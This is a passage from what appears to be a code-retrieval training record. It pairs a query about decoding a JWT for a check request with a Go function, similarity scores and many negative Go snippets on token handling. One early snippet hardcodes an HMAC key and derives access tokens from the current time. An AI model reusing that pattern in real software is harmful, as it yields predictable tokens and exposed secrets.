c.oauthClient.GetRequestTokenAndUrl(callBackURL)\n}", "func (a *Api) GenerateAccessToken() {\n\tkey := []byte(\"!TALENTMOB_2017_\")\n\th := hmac.New(sha256.New, key)\n\tt := time.Now()\n\th.Write([]byte(t.String()))\n\ta.Token = base64.URLEncoding.EncodeToString(h.Sum(nil))\n}", "func GeneratePaymentToken() AccessTokenResponse {\n\tvar baseTrueLayerAuthURL = os.Getenv(\"TRUELAYER_AUTH_URL\")\n\n\tvar clientID = os.Getenv(\"TRUELAYER_CLIENT_ID\")\n\tvar clientSecret = os.Getenv(\"TRUELAYER_CLIENT_SECRET\")\n\n\tdata := url.Values{}\n\tdata.Set(\"client_id\", clientID)\n\tdata.Set(\"client_secret\", clientSecret)\n\tdata.Set(\"scope\", \"payments\")\n\tdata.Set(\"grant_type\", \"client_credentials\")\n\n\treq, err := http.NewRequest(\"POST\", baseTrueLayerAuthURL+\"/connect/token\", strings.NewReader(data.Encode()))\n\treq.Header.Add(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\treq.Header.Add(\"Content-Length\", strconv.Itoa(len(data.Encode())))\n\tclient := &http.Client{}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, _ := ioutil.ReadAll(resp.Body)\n\tvar accessTokenResponse = AccessTokenResponse{}\n\terr = json.Unmarshal(body, &accessTokenResponse)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn accessTokenResponse\n}", "func getTokenFromReq(r *http.Request) string {\n\theader := r.Header.Get(\"Authorization\")\n\ttoken := strings.Split(header, \" \")\n\tif len(token) > 1 {\n\t\treturn token[1]\n\t}\n\treturn \"\"\n}", "func handleRequest(payload Payload) (string, error) {\n action := payload.Action\n\tvar result = \"\"\n\tvar err error\n\n\tif action == \"create\" {\n\t\tresult, err = CreateToken(payload.UserID, payload.SecretName)\n\t\tif err != nil {\n\t\t\tlog.Println(\"Error: \" + err.Error())\n\t\t\treturn \"\", err\n\t\t}\n\t} else if action == \"verify\" {\n\t\tresult, err = VerifyToken(payload.TokenStr, payload.SecretName)\n\t\tif err != nil {\n\t\t\tlog.Println(\"Error: \" + err.Error())\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\treturn result, err\n}" ]
[ "0.66232103", "0.6417559", "0.6399479", "0.6377574", "0.63117445", "0.6259131", "0.62589234", "0.62516654", "0.62364393", "0.62357354", "0.621038", "0.6146838", "0.6140899", "0.61170757", "0.6101631", "0.6076743", "0.6036621", "0.6035912", "0.6035874", "0.60315853", "0.6025828", "0.602574", "0.6011077", "0.60068184", "0.59890735", "0.59853774", "0.59851927", "0.5967063", "0.596273", "0.5957201", "0.5943847", "0.5931999", "0.59289145", "0.5921938", "0.59155244", "0.5906057", "0.589089", "0.5880183", "0.5877936", "0.58777016", "0.5869965", "0.5864087", "0.58562374", "0.5846262", "0.5827642", "0.58195347", "0.5816904", "0.57932454", "0.57912475", "0.57795346", "0.5777666", "0.5769278", "0.5761059", "0.575482", "0.57503605", "0.57480365", "0.5747069", "0.5732847", "0.57222253", "0.57215685", "0.5718011", "0.5708344", "0.56993085", "0.56858486", "0.5679504", "0.5671451", "0.56625736", "0.5660953", "0.56548244", "0.5635801", "0.5628925", "0.56269395", "0.5626517", "0.5615591", "0.56083345", "0.5588157", "0.5587432", "0.55857813", "0.5584602", "0.5581463", "0.5559858", "0.55578995", "0.55564326", "0.554981", "0.55456936", "0.554366", "0.55421805", "0.553695", "0.55360353", "0.55350876", "0.5526278", "0.5517489", "0.5515593", "0.5512074", "0.5507407", "0.55056256", "0.55026585", "0.5498772", "0.5498749", "0.54926646" ]
0.8204228
0
DecodeRequestToken decodes a token for a check request
func DecodeRequestToken(ptoken string) (int, int, int, error) { // TODO: Return Values to Struct! token, err := jwt.Parse(ptoken, func(token *jwt.Token) (interface{}, error) { if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok { return nil, fmt.Errorf("Unexpected signing method: %v", token.Header["alg"]) } return []byte(os.Getenv("JWTSecret")), nil }) if err == nil { if claims, ok := token.Claims.(jwt.MapClaims); ok && token.Valid { return int(claims["proxy"].(float64)), int(claims["id"].(float64)), int(claims["checkid"].(float64)), nil } } return 0, 0, 0, err }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func decodeVerifyRequest(_ context.Context, r interface{}) (interface{}, error) {\n\trq := r.(*pb.VerifyRequest)\n\n\treturn endpoint.VerifyRequest{\n\t\tToken: rq.Token,\n\t\tType: rq.Type,\n\t\tCode: rq.Code,\n\t}, nil\n}", "func (t *ExpireDelegationTokenRequest) Decode(d *Decoder, version int16) error {\n\tvar err error\n\tt.Hmac, err = d.Bytes()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.ExpiryTimePeriodMs, err = d.Int64()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn err\n}", "func DecodeVerifyJWTRequest(_ context.Context, r interface{}) (interface{}, error) {\n\treq := r.(*pb.VerifyJWTRequest)\n\treturn VerifyJWTRequest{\n\t\tJwt: req.Jwt,\n\t}, nil\n}", "func DecodeToken() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\n\t\ttokenStr := c.Request.Header.Get(\"Authorization\")\n\n\t\tuid, b := token.DecodeToken(tokenStr)\n\n\t\tif b {\n\t\t\tc.Set(common.TokenUid, uid)\n\t\t}\n\t\tc.Next()\n\t}\n}", "func RequestDecode(req *http.Request) (*JWT, error) {\n\treturn decode(req, nil)\n}", "func (t *RenewDelegationTokenRequest) Decode(d *Decoder, version int16) error {\n\tvar err error\n\tt.Hmac, err = d.Bytes()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.RenewPeriodMs, err = d.Int64()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn err\n}", "func (m *Module) Decode(token string) (*csrfPayload, error) {\n\tobj, err := jose.ParseEncrypted(token)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tb, err := obj.Decrypt(m.decryptionKey)\n\tcsrfPayload := &csrfPayload{}\n\tif err = json.Unmarshal(b, csrfPayload); err != nil {\n\t\treturn nil, err\n\t}\n\tif time.Now().After(csrfPayload.ExpireAfter) {\n\t\treturn nil, errors.New(\"csrf token expired\")\n\t}\n\treturn csrfPayload, nil\n}", "func decodeToken(tokenString string) (*jwt.Token, error) {\n\treturn jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {\n\t\tif _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {\n\t\t\treturn nil, fmt.Errorf(\"unexpected signing method: %v\",\n\t\t\t\ttoken.Header[\"alg\"])\n\t\t}\n\n\t\treturn signingSecret, nil\n\t})\n}", "func DecodeToken(token string) (name, filter string, err error) {\n\tvar encodedToken []byte\n\tif encodedToken, err = base64.RawURLEncoding.DecodeString(token); err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\ttokenByte := make([]byte, base64.RawURLEncoding.DecodedLen(len(encodedToken)))\n\tif _, err = base64.RawURLEncoding.Decode(tokenByte, encodedToken); err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\tpi := &pb.ListPageIdentifier{}\n\tif err = proto.Unmarshal(tokenByte, pi); err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\treturn pi.GetName(), pi.GetFilter(), err\n}", "func (t *DescribeDelegationTokenRequest) Decode(d *Decoder, version int16) error {\n\tvar err error\n\t// Owners\n\tif n, err := d.ArrayLength(); err != nil {\n\t\treturn err\n\t} else if n >= 0 {\n\t\tt.Owners = make([]DescribeDelegationTokenOwner41, n)\n\t\tfor i := 0; i < n; i++ {\n\t\t\tvar item DescribeDelegationTokenOwner41\n\t\t\tif err := (&item).Decode(d, version); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tt.Owners[i] = item\n\t\t}\n\t}\n\treturn err\n}", "func decodeRequest(_ context.Context, r *http.Request) (request interface{}, err error) {\n\tdefer r.Body.Close()\n\treturn nil, nil\n}", "func decodeToken(encoded string) *oauth2.Token {\n\tt := new(oauth2.Token)\n\tf := strings.Fields(encoded)\n\tif len(f) > 0 {\n\t\tt.AccessToken = f[0]\n\t}\n\tif len(f) > 1 {\n\t\tt.RefreshToken = f[1]\n\t}\n\tif len(f) > 2 && f[2] != \"0\" {\n\t\tsec, err := strconv.ParseInt(f[2], 10, 64)\n\t\tif err == nil {\n\t\t\tt.Expiry = time.Unix(sec, 0)\n\t\t}\n\t}\n\treturn t\n}", "func decodeToken(encoded string) *oauth2.Token {\n\tt := new(oauth2.Token)\n\tf := strings.Fields(encoded)\n\tif len(f) > 0 {\n\t\tt.AccessToken = f[0]\n\t}\n\tif len(f) > 1 {\n\t\tt.RefreshToken = f[1]\n\t}\n\tif len(f) > 2 && f[2] != \"0\" {\n\t\tsec, err := strconv.ParseInt(f[2], 10, 64)\n\t\tif err == nil {\n\t\t\tt.Expiry = time.Unix(sec, 0)\n\t\t}\n\t}\n\treturn t\n}", "func decode(req *http.Request, key Key) (*JWT, error) {\n\t// Retrieve token from header.\n\tauthorization := req.Header.Get(\"Authorization\")\n\tif authorization == \"\" {\n\t\treturn nil, failure.New(\"request contains no authorization header\")\n\t}\n\tfields := strings.Fields(authorization)\n\tif len(fields) != 2 || fields[0] != \"Bearer\" {\n\t\treturn nil, failure.New(\"invalid authorization header: %q\", authorization)\n\t}\n\t// Decode or verify.\n\tvar jwt *JWT\n\tvar err error\n\tif key == nil {\n\t\tjwt, err = Decode(fields[1])\n\t} else {\n\t\tjwt, err = Verify(fields[1], key)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn jwt, nil\n}", "func (c *Client) DecodeToken(resp *http.Response) (*Token, error) {\n\tvar decoded Token\n\terr := c.Decoder.Decode(&decoded, resp.Body, resp.Header.Get(\"Content-Type\"))\n\treturn &decoded, err\n}", "func DecodeGRPCBanTokenRequest(_ context.Context, grpcReq interface{}) (interface{}, error) {\n\treq := grpcReq.(*pb.BanTokenReq)\n\treturn req, nil\n}", "func DecodeToken(s []byte) (t Token) {\n\tif len(s) < 10 {\n\t\treturn\n\t}\n\n\treturn Token{\n\t\tKey: bytes.TrimSpace(s[:10]),\n\t\tHash: bytes.TrimSpace(s[10:]),\n\t}\n}", "func DecodeGRPCGetTokenRequest(_ context.Context, grpcReq interface{}) (interface{}, error) {\n\treq := grpcReq.(*pb.GetTokenReq)\n\treturn req, nil\n}", "func DecodeListenerRequest(mux goahttp.Muxer, decoder func(*http.Request) goahttp.Decoder) func(*http.Request) (any, error) {\n\treturn func(r *http.Request) (any, error) {\n\t\tvar (\n\t\t\ttoken string\n\t\t\terr error\n\t\t)\n\t\ttoken = r.Header.Get(\"Authorization\")\n\t\tif token == \"\" {\n\t\t\terr = goa.MergeErrors(err, goa.MissingFieldError(\"token\", \"header\"))\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpayload := NewListenerPayload(token)\n\t\tif strings.Contains(payload.Token, \" \") {\n\t\t\t// Remove authorization scheme prefix (e.g. \"Bearer\")\n\t\t\tcred := strings.SplitN(payload.Token, \" \", 2)[1]\n\t\t\tpayload.Token = cred\n\t\t}\n\n\t\treturn payload, nil\n\t}\n}", "func decode(r *http.Request, v ok) error {\n\tif r.Body == nil {\n\t\treturn errors.New(\"Invalid Body\")\n\t}\n\tif err := json.NewDecoder(r.Body).Decode(v); err != nil {\n\t\treturn err\n\t}\n\treturn v.OK()\n}", "func getTokenInRequest(req *http.Request, name string) (string, bool, error) {\n\tbearer := true\n\t// step: check for a token in the authorization header\n\ttoken, err := getTokenInBearer(req)\n\tif err != nil {\n\t\tif err != ErrSessionNotFound {\n\t\t\treturn \"\", false, err\n\t\t}\n\t\tif token, err = getTokenInCookie(req, name); err != nil {\n\t\t\treturn token, false, err\n\t\t}\n\t\tbearer = false\n\t}\n\n\treturn token, bearer, nil\n}", "func decodeLoginPRequest(_ context.Context, r interface{}) (interface{}, error) {\n\trq := r.(*pb.LoginPRequest)\n\n\treturn endpoint.LoginPRequest{\n\t\tPhone: rq.Phone,\n\t}, nil\n}", "func decodeGetTagRequest(_ context.Context, r *http.Request) (interface{}, error) {\n\treq := endpoint.GetTagRequest{}\n\terr := json.NewDecoder(r.Body).Decode(&req)\n\treturn req, err\n}", "func DecodeToken(t string) (*Claims, error) {\n\tgetSecretKey()\n\n\tresult := &Claims{}\n\ttkn, err := jwt.ParseWithClaims(t, result, func(token *jwt.Token) (interface{}, error) {\n\t\treturn jwtSecret, nil\n\t})\n\n\tif err != nil {\n\t\treturn result, err\n\t}\n\n\tif !tkn.Valid {\n\t\treturn result, fmt.Errorf(\"Invalid token\")\n\t}\n\n\treturn result, nil\n}", "func DecodeAndVerify(token string, v Verifier) (*Token, error) {\n\tparts := strings.Split(token, \".\")\n\tif len(parts) != 3 {\n\t\treturn nil, errcode.InvalidArgf(\n\t\t\t\"invalid token: %d parts\", len(parts),\n\t\t)\n\t}\n\n\th, c, sig := parts[0], parts[1], parts[2]\n\theader := new(Header)\n\tif err := decodeSegment(h, header); err != nil {\n\t\treturn nil, errcode.InvalidArgf(\"decode header: %s\", err)\n\t}\n\n\tpayload := []byte(token[:len(h)+1+len(c)])\n\tsigBytes, err := decodeSegmentBytes(sig)\n\tif err != nil {\n\t\treturn nil, errcode.InvalidArgf(\"decode signature: %s\", err)\n\t}\n\tif err := v.Verify(header, payload, sigBytes); err != nil {\n\t\treturn nil, errcode.Annotate(err, \"verify signature\")\n\t}\n\n\tclaims, err := decodeClaimSet(c)\n\tif err != nil {\n\t\treturn nil, errcode.InvalidArgf(\"decode claims: %s\", err)\n\t}\n\n\t// TODO(h8liu): Decode claim set.\n\treturn &Token{\n\t\tHeader: header,\n\t\tClaimSet: claims,\n\t\tSignature: sigBytes,\n\t}, nil\n}", "func CorporateCreateTicketDecodeRequest(ctx context.Context, r *http.Request) (interface{}, error) {\n\tvar req dt.CorporateCreateTicketJSONRequest\n\tvar tokenValidation dt.TokenValidation\n\n\t//token Authorization\n\tvar mySigningKey = []byte(conf.Param.TokenAuth)\n\ttoken, err := request.ParseFromRequest(r, request.AuthorizationHeaderExtractor,\n\t\tfunc(token *jwt.Token) (interface{}, error) {\n\t\t\treturn mySigningKey, nil\n\t\t})\n\tif err != nil {\n\t\treturn tokenValidation, nil\n\t}\n\tif !token.Valid {\n\t\treturn tokenValidation, nil\n\t}\n\tvar body []byte\n\n\t//decode request body\n\tbody, err = ioutil.ReadAll(r.Body)\n\tlogger.Logf(\"CorporateCreateTicket : %s\", string(body[:]))\n\tif err != nil {\n\t\treturn ex.Errorc(dt.ErrInvalidFormat).Rem(\"Unable to read request body\"), nil\n\t}\n\n\tif err = json.Unmarshal(body, &req); err != nil {\n\t\treturn ex.Error(err, dt.ErrInvalidFormat).Rem(\"Failed decoding json message\"), nil\n\t}\n\n\treturn req, nil\n}", "func decodeGetRequest(ctx context.Context, r *http.Request) (interface{}, error) {\n\tvar req getRequest\n\tsymbol := mux.Vars(r)[\"symbol\"]\n\treq.symbol = symbol\n\treturn req, nil\n}", "func (mh *MessageHandler) decodeRequest(httpRequest *http.Request) (deviceRequest *Request, err error) {\n\tdeviceRequest, err = DecodeRequest(httpRequest.Body, mh.Decoders)\n\tif err == nil {\n\t\tdeviceRequest = deviceRequest.WithContext(httpRequest.Context())\n\t}\n\n\treturn\n}", "func (s *TokenService) Decode(token string) (*CustomClaims, error) {\n\n\t// status text\n\tfmt.Println(\"Decoding token\")\n\n\t// parse the token\n\t// ParseWithClaims takes the token, custom claims struct referfence,\n\t// and a function that returns the secret key as []byte\n\ttokenType, err := jwt.ParseWithClaims(token, &CustomClaims{}, func(token *jwt.Token) (interface{}, error) {\n\t\treturn key, nil\n\t})\n\n\t// Validate token and return claims\n\tif claims, ok := tokenType.Claims.(*CustomClaims); ok && tokenType.Valid {\n\t\treturn claims, nil\n\t} else {\n\t\treturn nil, err\n\t}\n}", "func (c *Cache) RequestDecode(req *http.Request) (*token.JWT, error) {\n\tvar jwt *token.JWT\n\tvar err error\n\taerr := c.doSync(func() {\n\t\tvar st string\n\t\tif st, err = c.requestToken(req); err != nil {\n\t\t\treturn\n\t\t}\n\t\tif jwt, err = c.Get(st); err != nil {\n\t\t\treturn\n\t\t}\n\t\tif jwt, err = token.Decode(st); err != nil {\n\t\t\treturn\n\t\t}\n\t\t_, err = c.Put(jwt)\n\t}, defaultTimeout)\n\tif aerr != nil {\n\t\treturn nil, aerr\n\t}\n\treturn jwt, err\n}", "func DecodeQuestionRequest(ctx context.Context, r *http.Request) (interface{}, error) {\n var req QuestionRequest\n err := json.NewDecoder(r.Body).Decode(&req)\n if err != nil {\n return nil, err\n }\n return req, nil\n}", "func decodePostAcceptDealRequest(_ context.Context, r *http1.Request) (interface{}, error) {\n\treq := endpoint.PostAcceptDealRequest{}\n\terr := json.NewDecoder(r.Body).Decode(&req)\n\treturn req, err\n}", "func decodeDeleteTagRequest(_ context.Context, r *http.Request) (interface{}, error) {\n\treq := endpoint.DeleteTagRequest{}\n\terr := json.NewDecoder(r.Body).Decode(&req)\n\treturn req, err\n}", "func CertificateTokenDecode(input string) (*api.CertificateAddToken, error) {\n\tjoinTokenJSON, err := base64.StdEncoding.DecodeString(input)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar j api.CertificateAddToken\n\terr = json.Unmarshal(joinTokenJSON, &j)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif j.ClientName == \"\" {\n\t\treturn nil, fmt.Errorf(\"No client name in certificate add token\")\n\t}\n\n\tif len(j.Addresses) < 1 {\n\t\treturn nil, fmt.Errorf(\"No server addresses in certificate add token\")\n\t}\n\n\tif j.Secret == \"\" {\n\t\treturn nil, fmt.Errorf(\"No secret in certificate add token\")\n\t}\n\n\tif j.Fingerprint == \"\" {\n\t\treturn nil, fmt.Errorf(\"No certificate fingerprint in certificate add token\")\n\t}\n\n\treturn &j, nil\n}", "func decodeLoginUPRequest(_ context.Context, r interface{}) (interface{}, error) {\n\trq := r.(*pb.LoginUPRequest)\n\treturn endpoint.LoginUPRequest{\n\t\tUsername: rq.Username,\n\t\tPassword: rq.Password,\n\t}, nil\n}", "func TokenFromRequest(r *http.Request) string {\n\tauth := r.Header.Get(\"Authorization\")\n\tmatches := bearerPattern.FindStringSubmatch(auth)\n\tif len(matches) == 0 {\n\t\treturn \"\"\n\t}\n\treturn matches[1]\n}", "func DecodeJwtToken(r *http.Request) models.Jwt {\n\tdecoded := context.Get(r, \"decoded\")\n\n\tvar JwtToken models.Jwt\n\tmapstructure.Decode(decoded.(jwt.MapClaims), &JwtToken)\n\n\treturn JwtToken\n}", "func execmDecoderToken(_ int, p *gop.Context) {\n\targs := p.GetArgs(1)\n\tret, ret1 := args[0].(*json.Decoder).Token()\n\tp.Ret(1, ret, ret1)\n}", "func decodeGetUserRequest(_ context.Context, r *http1.Request) (interface{}, error) {\n\treq := endpoint.GetUserRequest{}\n\terr := json.NewDecoder(r.Body).Decode(&req)\n\treturn req, err\n}", "func decodeResetPasswordToken(token string) (*ResetPasswordClaims, error) {\n\n\t// Create the JWT key used to decode token\n\tprivateKeyEnc := b64.StdEncoding.EncodeToString([]byte(*coreConfig.AppConfig.PrivateKey))\n\tvar jwtKey = []byte(privateKeyEnc[:20])\n\n\tdecodedToken, err := b64.StdEncoding.DecodeString(token)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Can not decode token %s\", err.Error())\n\t}\n\n\tclaims := new(ResetPasswordClaims)\n\n\ttkn, err := jwt.ParseWithClaims(string(decodedToken), claims, func(token *jwt.Token) (interface{}, error) {\n\t\treturn jwtKey, nil\n\t})\n\tif err != nil {\n\t\tif err == jwt.ErrSignatureInvalid {\n\t\t\treturn nil, fmt.Errorf(\"signatureInvalid\")\n\t\t}\n\t\treturn nil, err\n\t}\n\tif !tkn.Valid {\n\t\treturn nil, fmt.Errorf(\"invalidToken\")\n\t}\n\treturn claims, nil\n}", "func Check(token string) (bool, *Payload) {\n\treturn ParseJwt(token)\n}", "func decodeHelloRequest(_ context.Context, r *http.Request) (interface{}, error) {\n\tvar request helloRequest\n\tif err := json.NewDecoder(r.Body).Decode(&request); err != nil {\n\t\treturn nil, err\n\t}\n\treturn request, nil\n}", "func DecodeLoginRequest(_ context.Context, r interface{}) (interface{}, error) {\n\treq := r.(*pb.LoginRequest)\n\treturn LoginRequest{\n\t\tUsername: req.Username,\n\t\tPassword: req.Password,\n\t}, nil\n}", "func DecodeUserDetailsRequest(_ context.Context, r interface{}) (interface{}, error) {\n\treq := r.(*pb.UserDetailsRequest)\n\treturn &UserDetailsRequest{\n\t\tJwt: req.Jwt,\n\t}, nil\n}", "func (t *CreateDelegationTokenRequest) Decode(d *Decoder, version int16) error {\n\tvar err error\n\t// Renewers\n\tif n, err := d.ArrayLength(); err != nil {\n\t\treturn err\n\t} else if n >= 0 {\n\t\tt.Renewers = make([]CreatableRenewers38, n)\n\t\tfor i := 0; i < n; i++ {\n\t\t\tvar item CreatableRenewers38\n\t\t\tif err := (&item).Decode(d, version); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tt.Renewers[i] = item\n\t\t}\n\t}\n\tt.MaxLifetimeMs, err = d.Int64()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn err\n}", "func extractToken(currentToken string) string {\n\t// already encoded\n\tif rawEncoded, err := base64.StdEncoding.DecodeString(currentToken); err == nil {\n\t\tif token := gjson.GetBytes(rawEncoded, \"token\").String(); token != \"\" {\n\t\t\treturn token\n\t\t}\n\t}\n\n\t// is in form of a legacy connector url\n\tlegacyURL, err := url.Parse(currentToken)\n\tif err != nil {\n\t\treturn currentToken\n\t}\n\tif token := legacyURL.Query().Get(\"token\"); token != \"\" {\n\t\treturn token\n\t}\n\n\treturn currentToken\n}", "func DecodeGenerateKeyRequest(ctx context.Context, r *http.Request) (interface{}, error) {\n\tvar req GenerateKeyRequest\n\tvar err error\n\tif err = json.NewDecoder(r.Body).Decode(&req); err != nil {\n\t\treturn nil, err\n\t}\n\treturn req, err\n}", "func decodeDeleteBookRequest(_ context.Context, r *http.Request) (interface{}, error) {\n\tbookId, err := parseBookId(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Make request to delete book\n\tvar request deleteBookRequest\n\trequest = deleteBookRequest{\n\t\tBookId: bookId,\n\t}\n\n\treturn request, nil\n}", "func GetTokenFromRequest(r *http.Request) (string, error) {\n\t// Token might come either as a Cookie or as a Header\n\t// if not set in cookie, check if it is set on Header.\n\ttokenCookie, err := r.Cookie(\"token\")\n\tif err != nil {\n\t\treturn \"\", ErrNoAuthToken\n\t}\n\tcurrentTime := time.Now()\n\tif tokenCookie.Expires.After(currentTime) {\n\t\treturn \"\", errTokenExpired\n\t}\n\treturn strings.TrimSpace(tokenCookie.Value), nil\n}", "func DecodeSecureRequest(mux goahttp.Muxer, decoder func(*http.Request) goahttp.Decoder) func(*http.Request) (any, error) {\n\treturn func(r *http.Request) (any, error) {\n\t\tvar (\n\t\t\tfail *bool\n\t\t\ttoken string\n\t\t\terr error\n\t\t)\n\t\t{\n\t\t\tfailRaw := r.URL.Query().Get(\"fail\")\n\t\t\tif failRaw != \"\" {\n\t\t\t\tv, err2 := strconv.ParseBool(failRaw)\n\t\t\t\tif err2 != nil {\n\t\t\t\t\terr = goa.MergeErrors(err, goa.InvalidFieldTypeError(\"fail\", failRaw, \"boolean\"))\n\t\t\t\t}\n\t\t\t\tfail = &v\n\t\t\t}\n\t\t}\n\t\ttoken = r.Header.Get(\"Authorization\")\n\t\tif token == \"\" {\n\t\t\terr = goa.MergeErrors(err, goa.MissingFieldError(\"token\", \"header\"))\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpayload := NewSecurePayload(fail, token)\n\t\tif strings.Contains(payload.Token, \" \") {\n\t\t\t// Remove authorization scheme prefix (e.g. \"Bearer\")\n\t\t\tcred := strings.SplitN(payload.Token, \" \", 2)[1]\n\t\t\tpayload.Token = cred\n\t\t}\n\n\t\treturn payload, nil\n\t}\n}", "func RequestVerify(req *http.Request, key Key) (*JWT, error) {\n\treturn decode(req, key)\n}", "func (msg *globalActionRequest) Decode(buf *goetty.ByteBuf) {\n\tmsg.XID = ReadXID(buf)\n\tmsg.ExtraData = ReadString(buf)\n}", "func decodeGetRequest(_ context.Context, r *http1.Request) (interface{}, error) {\n\treq := endpoint.GetRequest{}\n\treturn req, nil\n}", "func decodeGetRequest(_ context.Context, r *http1.Request) (interface{}, error) {\n\treq := endpoint.GetRequest{}\n\treturn req, nil\n}", "func ParseTokenFromRequest(ctx *fasthttp.RequestCtx) string {\n\ttoken := string(ctx.Request.Header.Cookie(\"GoLog-Token\")) // GoLog-Token is the hardcoded name of the cookie\n\tlog.Info(\"ParseTokenFromRequest | Checking if token is in the cookie ...\")\n\tif strings.Compare(token, \"\") == 0 { // No cookie provided :/ Checking in the request\n\t\tlog.Warn(\"ParseTokenFromRequest | Token is not in the cookie, retrieving from the request ...\")\n\t\ttoken = string(ctx.FormValue(\"token\")) // Extracting the token from the request (ARGS,GET,POST)\n\t\tif strings.Compare(token, \"\") == 0 { // No token provided in the request\n\t\t\tlog.Warn(\"ParseTokenFromRequest | Can not find the token! ...\")\n\t\t\treturn \"\" // \"COOKIE_NOT_PRESENT\"\n\t\t}\n\t\tlog.Info(\"ParseTokenFromRequest | Token found in request! ... | \", token)\n\t} else {\n\t\tlog.Info(\"ParseTokenFromRequest | Token found in cookie! ... | \", token)\n\t}\n\treturn token\n}", "func Decode(jwt string, secret string) (bool, error) {\n\n //Se sepera el string : firma + hash de la firma\n token := strings.Split(jwt, \".\")\n\n var payload models.PayloadUser\n\n //El string contiene header + payload + token\n if len(token) != 3 {\n split_err := errors.New(\"Token invalido: el mismo debe tener header, payload y palabra secreta\")\n return false, split_err\n }\n\n //Desencodeamos el payload\n decoded_payload, payload_err := Base64Decode(token[1])\n if payload_err != nil {\n return false, fmt.Errorf(\"Payload invalido: %s\", payload_err.Error())\n }\n\n //Almacenamos el payload\n parse_err := json.Unmarshal([]byte(decoded_payload), &payload)\n if parse_err != nil {\n return false, fmt.Errorf(\"Payload invalido: %s\", parse_err.Error())\n }\n //Verificamos le token expiro\n if payload.Exp != 0 && time.Now().Unix() > payload.Exp {\n return false, errors.New(\"El token ha expirado\")\n }\n\n //Formamos la firma\n\tsignature_value := token[0] + \".\" + token[1]\n\t\n // Verificamos si la firma es valida\n if compareHmac(signature_value, token[2], secret) == false {\n return false, errors.New(\"Token invalido\")\n }\n return true, nil\n}", "func decodeRegisterRequest(_ context.Context, r interface{}) (interface{}, error) {\n\trq := r.(*pb.RegisterRequest)\n\treturn endpoint.RegisterRequest{\n\t\tUsername: rq.Username,\n\t\tPassword: rq.Password,\n\t\tName: rq.Name,\n\t\tLastName: rq.LastName,\n\t\tPhone: rq.Phone,\n\t\tEmail: rq.Email,\n\t}, nil\n}", "func ExtracToken(request * http.Request) (string) {\n keys := request.URL.Query()\n token := keys.Get(\"token\")\n \n if token != \"\" {\n\t return token\n }\n\n bearToken := request.Header.Get(\"Authorization\")\n //Authorization the token\n\n strArr := strings.Split(bearToken,\" \")\n if len(strArr) == 2 {\n\t return strArr[1]\n }\n return \"\"\n}", "func (t *CreateDelegationTokenResponse) Decode(d *Decoder, version int16) error {\n\tvar err error\n\tt.ErrorCode, err = d.Int16()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.PrincipalType, err = d.String()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.PrincipalName, err = d.String()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.IssueTimestampMs, err = d.Int64()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.ExpiryTimestampMs, err = d.Int64()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.MaxTimestampMs, err = d.Int64()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.TokenId, err = d.String()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.Hmac, err = d.Bytes()\n\tif err != nil {\n\t\treturn err\n\t}\n\tt.ThrottleTimeMs, err = d.Int32()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn err\n}", "func getTknFromReq(r *http.Request) (*ReqBody, error) {\n\tdecoder := json.NewDecoder(r.Body)\n\tdefer r.Body.Close()\n\n\tvar token ReqBody\n\terr := decoder.Decode(&token)\n\n\tlog.Println(\"get token from req\", token, err)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &token, nil\n}", "func DecodeRequest[I any](ctx context.Context, r *http.Request) (in I, err error) {\n\tswitch r.Method {\n\tcase \"POST\", \"PUT\", \"PATCH\":\n\t\terr = magic.Decode(r, &in,\n\t\t\tmagic.JSON,\n\t\t\tmagic.ChiRouter,\n\t\t)\n\tcase \"GET\", \"DELETE\":\n\t\terr = magic.Decode(r, &in,\n\t\t\tmagic.QueryParams,\n\t\t\tmagic.ChiRouter,\n\t\t)\n\tdefault:\n\t\terr = errors.Errorf(\"method %s not supported\", r.Method)\n\t}\n\n\tif err == io.EOF {\n\t\terr = errors.New(\"empty body\")\n\t}\n\n\treturn in, errors.E(err, \"can not unmarshal request\", errors.Unmarshal)\n}", "func (t *FindCoordinatorRequest) Decode(d *Decoder, version int16) error {\n\tvar err error\n\tt.Key, err = d.String()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif version >= 1 {\n\t\tt.KeyType, err = d.Int8()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn err\n}", "func VerifyToken(tokData []byte, keyFile, keyType string) (iat string, err error) {\n\n\t// trim possible whitespace from token\n\ttokData = 